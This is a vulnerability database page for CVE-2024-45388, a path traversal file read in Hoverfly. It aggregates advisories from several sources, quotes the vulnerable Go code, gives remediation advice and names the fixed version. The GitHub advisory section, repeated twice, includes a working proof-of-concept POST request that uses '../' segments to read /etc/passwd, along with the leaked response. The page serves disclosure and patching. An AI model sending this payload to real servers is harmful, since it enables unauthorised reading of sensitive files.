CVE-2024-45388
Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)
Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/")). This issue is also tracked as GHSL-2023-274.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)
Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/")). This issue is also tracked as GHSL-2023-274.
- Record
CVE-2024-45388- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
EUVDEUVD-2024-2739
7.5
Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/")). This issue is also tracked as GHSL-2023-274.
- Record
EUVD-2024-2739- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-6xx4-x46f-f897
8.7
Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)
Details
The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
if filepath.IsAbs(filePath) {
return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
}
fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
if err != nil {
return "", err
}
return string(fileContents[:]), nil
}
Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.
This issue was found using the Uncontrolled data used in path expression CodeQL query for python.
Proof of Concept
Send the following POST request to read the /etc/passwd file:
POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
Response will contain the Hoverfly's server /etc/passwd
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close
{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}
Impact
This issue may lead to Information Disclosure.
Remediation
The code is preventing absolute paths from being read. Make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/"))
- Record
GHSA-6xx4-x46f-f897- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22, CWE-200
- Updated
- 2026-11-02
NVD
7.5
Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/")). This issue is also tracked as GHSL-2023-274.
- Record
CVE-2024-45388- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-22
- Updated
- 2026-11-02
OSV
7.5
Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)
Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/")). This issue is also tracked as GHSL-2023-274.
- Record
CVE-2024-45388- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
OSVGHSA-6xx4-x46f-f897
8.7
Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)
Details
The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
if filepath.IsAbs(filePath) {
return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
}
fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
if err != nil {
return "", err
}
return string(fileContents[:]), nil
}
Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.
This issue was found using the Uncontrolled data used in path expression CodeQL query for python.
Proof of Concept
Send the following POST request to read the /etc/passwd file:
POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
Response will contain the Hoverfly's server /etc/passwd
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close
{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}
Impact
This issue may lead to Information Disclosure.
Remediation
The code is preventing absolute paths from being read. Make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/"))
- Record
GHSA-6xx4-x46f-f897- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-22
- Updated
- 2026-11-02
OSVGO-2024-3108 No score
Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`) in github.com/SpectoLabs/hoverfly
Hoverfly allows an arbitrary file read in the /api/v2/simulation endpoint (GHSL-2023-274) in github.com/SpectoLabs/hoverfly
- Record
GO-2024-3108- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/spectolabs/hoverflyGo |
before 1.10.3 | 1.10.3 |
github.com/SpectoLabs/hoverflyGo |
before 1.10.3 | 1.10.3 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | Hoverfly < 1.10.3 - Arbitrary File Read |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, Nuclei, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-45388 is a high vulnerability (CVSS 7.5) in Hoverfly, published September 2, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 55.6%, the 99th percentile. Fixed in github.com/spectolabs/hoverfly 1.10.3.
References
github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897
codeql.github.com/codeql-query-help/go/go-path-injection
github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3
github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go
nvd.nist.gov/vuln/detail/CVE-2024-45388
github.com/advisories/GHSA-6xx4-x46f-f897
github.com/CVEProject/cvelistV5/tree/main/cves/2024/45xxx/CVE-2024-45388.json
github.com/SpectoLabs/hoverfly